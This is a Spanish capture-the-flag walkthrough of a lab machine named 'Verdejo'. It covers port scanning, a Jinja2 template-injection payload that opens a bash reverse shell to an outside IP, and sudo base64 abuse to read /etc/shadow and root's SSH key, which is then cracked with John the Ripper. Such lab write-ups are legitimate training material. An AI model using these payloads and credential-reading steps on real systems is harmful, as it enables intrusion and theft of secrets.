# Verdejo

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&#x26;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhZueeFSZ4hq1fkRs10Y0%2Fimage.png?alt=media&#x26;token=c32526c0-ded3-4418-bf5a-58715b5b3819" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** y el **puerto 8089** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,8089 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIc8ycIKIrieZh6SjOsLD%2Fimage.png?alt=media&#x26;token=ac691265-d67b-4d99-a3c9-07dd409c48c3" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea la de por defecto de **Apache**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fz5ETfsYulE8gyydHbkoZ%2Fimage.png?alt=media&#x26;token=c326b35d-405b-4144-8c42-93db7c5e2e95" alt=""><figcaption></figcaption></figure>

Vemos a ver que corre por el **puerto 8089**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FR5mwTwv8MHCJKxSZuTdw%2Fimage.png?alt=media&#x26;token=dd2319c1-8215-4ea6-b641-d82e100f5b1a" alt=""><figcaption></figcaption></figure>

Si enviamos el texto nos sale esto.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEQNm34wmLgPzbm0RsKg5%2Fimage.png?alt=media&#x26;token=ac3e86cd-1b4a-4414-bf2a-0a1346a3671a" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Comenzamos verificando si es posible ejecutar un ataque XSS.

```bash
<script>alert("hacked")</script>
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZg3ImAZofSnaTmgCJJ5U%2Fimage.png?alt=media&#x26;token=02841691-e19e-49a6-bf4b-7db34071eb09" alt=""><figcaption></figcaption></figure>

Probamos si es propenso a un SSTI por lo que realizamos una operación matemática que deberá mostrar el resultado.

```
{{7*7}}
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhkcLhDeUlleegcnlEixc%2Fimage.png?alt=media&#x26;token=c41c0d9c-f8ba-44a4-be7a-26d93c91b614" alt=""><figcaption></figcaption></figure>

Por lo que aprovechamos eso para enviarnos una Reverse Shell.

```bash
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/192.168.255.136/443 0>&1\'').read() }}
```

Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhipQP61R5BJQxkHsAYNQ%2Fimage.png?alt=media&#x26;token=d6093736-ad1a-4ec7-b354-f4114c189b4e" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FebaVs39fB52s5oQVLrzP%2Fimage.png?alt=media&#x26;token=3d4e2668-813a-4d88-ab5a-fec2f3d49f37" alt=""><figcaption></figcaption></figure>

Tenemos permisos **SUDO** con **base64** por lo que revisamos esta [página ](https://gtfobins.github.io/gtfobins/base64/)para escalar privilegios.

```bash
sudo base64 /etc/shadow | base64 --decode
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fj7G0LR2yYJwrIHkoE54v%2Fimage.png?alt=media&#x26;token=36508dfa-36ce-4927-a349-fc84037e8d54" alt=""><figcaption></figcaption></figure>

Durante el escaneo, notamos que el puerto SSH estaba abierto. Esto sugiere la posibilidad de que el usuario root tenga un archivo `id_rsa`. Al intentar leer este archivo utilizando la ruta predeterminada, confirmamos que efectivamente obtuvimos el `id_rsa`.

```bash
sudo base64 /root/.ssh/id_rsa | base64 --decode
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvDcdUFVKlVYQEOs57JU2%2Fimage.png?alt=media&#x26;token=0bddcbcc-8236-4568-b8e4-9909ce224d46" alt=""><figcaption></figcaption></figure>

Transferimos el archivo a nuestra máquina local y, tras asignarle permisos de ejecución, intentamos establecer la conexión. Sin embargo, se nos solicitó la contraseña asociada al `id_rsa`.

```bash
chmod 600 id_rsa
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FNG66x1YqIvaktK9UALVW%2Fimage.png?alt=media&#x26;token=d9f4194a-873e-456b-8f25-4e85027cc513" alt=""><figcaption></figcaption></figure>

En este paso, utilizamos **ssh2john** para extraer el hash del archivo. Posteriormente, empleamos **John the Ripper** para descifrar la contraseña, siempre que esta se encuentre en nuestro diccionario. Después de un tiempo, logramos identificar la clave

```bash
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F9c7WEamNJkp8Q0BdHNJl%2Fimage.png?alt=media&#x26;token=4eb47368-0657-44c5-892b-6e747cd805f7" alt=""><figcaption></figcaption></figure>

Nos logueamos y metemos las credenciales. Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBr6565Cqdxe3CHQ6ALzO%2Fimage.png?alt=media&#x26;token=27f19cc4-447f-4077-9066-cebbb71bc348" alt=""><figcaption></figcaption></figure>
